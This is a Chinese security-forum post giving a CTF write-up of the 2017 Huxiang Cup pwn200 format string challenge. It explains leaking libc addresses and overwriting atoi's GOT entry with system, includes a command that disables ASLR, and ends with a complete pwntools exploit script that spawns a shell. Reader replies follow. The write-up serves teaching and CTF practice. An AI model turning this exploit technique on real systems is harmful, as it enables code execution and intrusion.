首页
社区
课程
招聘
[原创]2017 湖湘杯pwn200 格式化字符串
2018-2-12 23:49 12608

[原创]2017 湖湘杯pwn200 格式化字符串

2018-2-12 23:49
12608

这篇在FreeBuf发过了,不过那边快两个周没联系我发稿费……就把之前写的几篇pwn入门文章都发到看雪好了~希望为论坛做一点点贡献。

考察点

  • 格式化字符串

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn200

打开IDA跟入调试

图片描述
图片描述
形如

char buf[100]
scanf("%s",buf);
printf(buf);

找到格式化字符串漏洞

利用漏洞

checksec查看保护

图片描述
tips1
查看本机ASLR
图片描述
so地址变动,确定本机开启了aslr
关闭ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
确认关闭
图片描述

利用思路

    printf(&buf);
    puts("GET YOUR AGE:\n");
    read(0, &buf, 0x40u);
    if ( atoi(&buf) > 60 )
      puts("OLD MEN!\n");

看到printf(&buf)之后
read(buf)
atoi(buf)
所以我们的思路就是,利用格式化字符串漏洞的任意地址读,先leak出puts函数的地址puts_addr
到利用格式化字符串漏洞的任意地址写,去将atoi函数在got.plt表中的地址改为system函数的地址,然后通过read去控制buf,传入"/bin/sh",构造出system("bin/sh"),获取shell

关于覆盖got表,不知道为什么的话,参考下面的文章。
https://www.jianshu.com/p/0ac63c3744dd
http://rickgray.me/use-gdb-to-study-got-and-plt

leak出puts函数的地址

任意地址读:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html
调试找到puts的地址在栈中的位置。
图片描述
在gdb中调试(这里我使用了gef插件),可以看出地址在7个参数(仔细分析一下AAAA%7$x,把AAAA换掉就是地址,把%x换成%s就可以打印出内容)

计算system地址

libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)

覆盖got表中atoi的内容为system地址

原理

printf("abc%nabc\n", &val);
printf("val = %d\n", val);

输出为
abcabc
val = 3
这就告诉我们,%n可以把其前面输出的字符个数,写入&val指向的地址。
如果还不理解的话可以参考:
https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html
http://www.cnblogs.com/Ox9A82/p/5429099.html

 

之前我们已经调试过了"AAAA"就在第7个参数,所以只需构造{addr}{适当的写入值}{%7$n}即可。
这里pwntools提供了fmtstr_payload函数来自动生成格式化串。
fmtstr_payload(参数偏移,{xxx_got_addr: system_addr})

getshell

图片描述

exp

# coding:utf-8
from pwn import *
elf = ELF('pwne')
# conn=remote('ip',port)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc=ELF('libc.so.6')
p = process('./pwne')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(p32(elf.got['puts']) + '%7$s')
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# print u32(put_addr)
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(fmtstr_payload(7, {atoi_got_addr: system_addr}))
p.recvuntil('GET YOUR AGE:\n\n')
p.sendline('/bin/sh\x00')
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-1-28 13:13 被admin编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (6)
雪    币: 1218
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
赏月的熊猫 2018-4-28 00:47
2
0
谢谢楼主,学习到了
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
山海关fs 2018-5-16 12:23
3
0
感激
雪    币: 39
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
languang 2018-5-16 14:20
4
0
谢谢  感谢
雪    币: 32
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
老头人 2018-5-25 20:00
5
0
楼主  我在自己写的测试程序中 往printf@got写入system@got的地址,通过printf("/bin/sh")来getshell
结果就崩溃了!!! 


coredump 卡在system@got地址那一帧 已经调用到了 不清楚原因 我发了一个求助帖 能帮忙看看吗
最后于 2018-5-25 20:01 被老头人编辑 ,原因:
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
toAlice 2019-4-11 09:34
6
0
支持大佬。。。。。。。。。。。。
最后于 2019-4-11 09:35 被toAlice编辑 ,原因:
雪    币: 177
活跃值: (100)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
RENK 2019-4-27 16:30
7
0
看懂了。
最后于 2019-4-27 16:38 被RENK编辑 ,原因:
游客
登录 | 注册 方可回帖
返回